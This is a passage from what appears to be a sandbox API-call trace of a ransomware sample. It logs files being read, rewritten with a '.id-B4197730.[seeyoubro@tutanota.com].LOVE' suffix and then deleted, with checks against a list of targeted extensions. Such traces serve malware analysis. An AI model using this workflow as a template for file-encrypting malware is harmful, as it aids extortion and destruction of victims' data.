lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.843] SetEndOfFile (hFile=0x388) returned 1 [0218.843] CloseHandle (hObject=0x388) returned 1 [0218.843] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.843] SetEndOfFile (hFile=0x2cc) returned 1 [0218.844] CloseHandle (hObject=0x2cc) returned 1 [0218.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0218.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0218.845] lstrlenW (lpString=".doc") returned 4 [0218.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.845] lstrlenW (lpString=".docx") returned 5 [0218.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.845] lstrlenW (lpString=".pdf") returned 4 [0218.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.845] lstrlenW (lpString=".xls") returned 4 [0218.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.845] lstrlenW (lpString=".xlsx") returned 5 [0218.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.845] lstrlenW (lpString=".ppt") returned 4 [0218.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0218.845] lstrlenW (lpString=".zip") returned 4 [0218.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.845] lstrlenW (lpString=".rar") returned 4 [0218.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.845] lstrlenW (lpString=".bz2") returned 4 [0218.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.845] lstrlenW (lpString=".7z") returned 3 [0218.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0218.845] lstrlenW (lpString=".dbf") returned 4 [0218.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0218.845] lstrlenW (lpString=".1cd") returned 4 [0218.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0218.845] lstrlenW (lpString=".jpg") returned 4 [0218.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.846] GetLastError () returned 0x0 [0218.846] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x7e8, lpOverlapped=0x0) returned 1 [0218.921] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0218.922] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.922] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.922] SetEndOfFile (hFile=0x388) returned 1 [0218.922] CloseHandle (hObject=0x388) returned 1 [0218.922] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.922] SetEndOfFile (hFile=0x2cc) returned 1 [0218.923] CloseHandle (hObject=0x2cc) returned 1 [0218.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0218.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0218.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0218.924] lstrlenW (lpString=".doc") returned 4 [0218.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.924] lstrlenW (lpString=".docx") returned 5 [0218.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.924] lstrlenW (lpString=".pdf") returned 4 [0218.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.924] lstrlenW (lpString=".xls") returned 4 [0218.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.924] lstrlenW (lpString=".xlsx") returned 5 [0218.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.925] lstrlenW (lpString=".ppt") returned 4 [0218.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0218.925] lstrlenW (lpString=".zip") returned 4 [0218.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.925] lstrlenW (lpString=".rar") returned 4 [0218.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.925] lstrlenW (lpString=".bz2") returned 4 [0218.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.925] lstrlenW (lpString=".7z") returned 3 [0218.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0218.925] lstrlenW (lpString=".dbf") returned 4 [0218.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0218.925] lstrlenW (lpString=".1cd") returned 4 [0218.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0218.925] lstrlenW (lpString=".jpg") returned 4 [0218.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.926] GetLastError () returned 0x0 [0218.926] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xbb4, lpOverlapped=0x0) returned 1 [0218.960] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0218.979] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.979] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.979] SetEndOfFile (hFile=0x388) returned 1 [0218.979] CloseHandle (hObject=0x388) returned 1 [0218.979] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.980] SetEndOfFile (hFile=0x2cc) returned 1 [0218.980] CloseHandle (hObject=0x2cc) returned 1 [0218.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0218.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0218.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0218.981] lstrlenW (lpString=".doc") returned 4 [0218.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.981] lstrlenW (lpString=".docx") returned 5 [0218.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.981] lstrlenW (lpString=".pdf") returned 4 [0218.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.981] lstrlenW (lpString=".xls") returned 4 [0218.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.982] lstrlenW (lpString=".xlsx") returned 5 [0218.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.982] lstrlenW (lpString=".ppt") returned 4 [0218.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0218.982] lstrlenW (lpString=".zip") returned 4 [0218.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.982] lstrlenW (lpString=".rar") returned 4 [0218.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.982] lstrlenW (lpString=".bz2") returned 4 [0218.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.982] lstrlenW (lpString=".7z") returned 3 [0218.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0218.982] lstrlenW (lpString=".dbf") returned 4 [0218.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0218.983] lstrlenW (lpString=".1cd") returned 4 [0218.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0218.983] lstrlenW (lpString=".jpg") returned 4 [0218.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.999] GetLastError () returned 0x0 [0218.999] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x384, lpOverlapped=0x0) returned 1 [0219.048] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x390, lpOverlapped=0x0) returned 1 [0219.049] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.049] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.049] SetEndOfFile (hFile=0x374) returned 1 [0219.049] CloseHandle (hObject=0x374) returned 1 [0219.050] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.050] SetEndOfFile (hFile=0x348) returned 1 [0219.051] CloseHandle (hObject=0x348) returned 1 [0219.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0219.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0219.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0219.051] lstrlenW (lpString=".doc") returned 4 [0219.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.052] lstrlenW (lpString=".docx") returned 5 [0219.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.052] lstrlenW (lpString=".pdf") returned 4 [0219.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.052] lstrlenW (lpString=".xls") returned 4 [0219.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.052] lstrlenW (lpString=".xlsx") returned 5 [0219.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.052] lstrlenW (lpString=".ppt") returned 4 [0219.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0219.052] lstrlenW (lpString=".zip") returned 4 [0219.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.052] lstrlenW (lpString=".rar") returned 4 [0219.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.052] lstrlenW (lpString=".bz2") returned 4 [0219.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.052] lstrlenW (lpString=".7z") returned 3 [0219.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0219.052] lstrlenW (lpString=".dbf") returned 4 [0219.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0219.052] lstrlenW (lpString=".1cd") returned 4 [0219.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0219.053] lstrlenW (lpString=".jpg") returned 4 [0219.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.054] GetLastError () returned 0x0 [0219.054] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0219.061] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4a80, lpOverlapped=0x0) returned 1 [0219.063] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.063] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.063] SetEndOfFile (hFile=0x374) returned 1 [0219.063] CloseHandle (hObject=0x374) returned 1 [0219.063] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.063] SetEndOfFile (hFile=0x348) returned 1 [0219.064] CloseHandle (hObject=0x348) returned 1 [0219.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0219.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0219.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0219.070] lstrlenW (lpString=".doc") returned 4 [0219.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.070] lstrlenW (lpString=".docx") returned 5 [0219.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.070] lstrlenW (lpString=".pdf") returned 4 [0219.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.070] lstrlenW (lpString=".xls") returned 4 [0219.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.070] lstrlenW (lpString=".xlsx") returned 5 [0219.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.070] lstrlenW (lpString=".ppt") returned 4 [0219.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0219.070] lstrlenW (lpString=".zip") returned 4 [0219.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.070] lstrlenW (lpString=".rar") returned 4 [0219.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.070] lstrlenW (lpString=".bz2") returned 4 [0219.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.070] lstrlenW (lpString=".7z") returned 3 [0219.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0219.070] lstrlenW (lpString=".dbf") returned 4 [0219.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0219.070] lstrlenW (lpString=".1cd") returned 4 [0219.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0219.071] lstrlenW (lpString=".jpg") returned 4 [0219.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.119] GetLastError () returned 0x0 [0219.119] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x128, lpOverlapped=0x0) returned 1 [0219.120] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x130, lpOverlapped=0x0) returned 1 [0219.121] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.121] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.253] SetEndOfFile (hFile=0x374) returned 1 [0219.254] CloseHandle (hObject=0x374) returned 1 [0219.254] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.254] SetEndOfFile (hFile=0x354) returned 1 [0219.255] CloseHandle (hObject=0x354) returned 1 [0219.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0219.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0219.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0219.255] lstrlenW (lpString=".doc") returned 4 [0219.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.256] lstrlenW (lpString=".docx") returned 5 [0219.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.256] lstrlenW (lpString=".pdf") returned 4 [0219.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.256] lstrlenW (lpString=".xls") returned 4 [0219.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.256] lstrlenW (lpString=".xlsx") returned 5 [0219.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.256] lstrlenW (lpString=".ppt") returned 4 [0219.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0219.256] lstrlenW (lpString=".zip") returned 4 [0219.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.256] lstrlenW (lpString=".rar") returned 4 [0219.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.256] lstrlenW (lpString=".bz2") returned 4 [0219.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.256] lstrlenW (lpString=".7z") returned 3 [0219.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0219.256] lstrlenW (lpString=".dbf") returned 4 [0219.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0219.256] lstrlenW (lpString=".1cd") returned 4 [0219.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0219.256] lstrlenW (lpString=".jpg") returned 4 [0219.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.373] GetLastError () returned 0x0 [0219.373] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x566, lpOverlapped=0x0) returned 1 [0219.516] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x570, lpOverlapped=0x0) returned 1 [0219.517] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.517] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.517] SetEndOfFile (hFile=0x354) returned 1 [0219.518] CloseHandle (hObject=0x354) returned 1 [0219.518] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.518] SetEndOfFile (hFile=0x2cc) returned 1 [0219.519] CloseHandle (hObject=0x2cc) returned 1 [0219.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0219.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0219.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0219.520] lstrlenW (lpString=".doc") returned 4 [0219.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.520] lstrlenW (lpString=".docx") returned 5 [0219.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.520] lstrlenW (lpString=".pdf") returned 4 [0219.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.520] lstrlenW (lpString=".xls") returned 4 [0219.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.520] lstrlenW (lpString=".xlsx") returned 5 [0219.520] lstrcmpiW (lpString1=".xlsx", 